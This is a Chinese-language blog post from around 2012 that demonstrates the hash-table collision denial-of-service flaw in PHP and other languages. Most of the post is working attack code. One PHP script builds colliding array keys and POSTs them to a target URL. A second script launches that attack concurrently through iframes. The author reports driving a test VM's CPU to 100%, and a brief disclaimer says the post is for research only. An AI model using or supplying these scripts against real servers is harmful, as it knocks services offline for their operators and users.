聲明:本文內容只用於研究學習使用,請勿用於非法行為!
上回咱說到了最近爆出的hash表碰撞漏洞,包括java、python、php等在內的很多常用語言均未倖免,今晚咱就來實際看看它的威力。
攻擊原理:
通過向目標伺服器post一組精心拼湊的數組參數,到達服務端後語言底層處理接收到的數組參數時,由於該漏洞的存在造成CPU的大量消耗,最終導致伺服器資源耗盡。
不用什麼花哨的手法,就用PHP簡單實現下看下效果,點到即止。
檔案:dos.php
// 目標地址// 只要目標地址存在,不用管它是幹嘛的$host = 'http://127.0.0.1/test.php'; $data = '';$size = pow(2, 15);for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size){ $data .= '&array[' . $key . ']=0';}$ret = curl($host, ltrim($data,'&'));var_dump($ret);function curl($url, $post, $timeout = 30){ $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:')); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); $output = curl_exec($ch); if ($output === false) return false; $info = curl_getinfo($ch); $http_code = $info['http_code']; if ($http_code == 404) return false; curl_close($ch); return $output;}
檔案:ddos.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312" /><title>DDOS</title></head><body><?phpfor($i=0; $i<5; $i++){//並發數 echo '<iframe src="dos.php?a='.$i.'" scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe>';}?></body></html>
雖然我的測試目標伺服器是台虛擬機器,但僅用了2個並發就使目標機CPU飆到了100%。但是100%的CPU佔用並不代表著就已經拒絕服務,點到為止:)
----------------------------------------------- 華麗麗的分割線 ----------------------------------------------------------
就在寫這篇的時候,時間已步入2012,祝大家新年快樂,笑口常開:D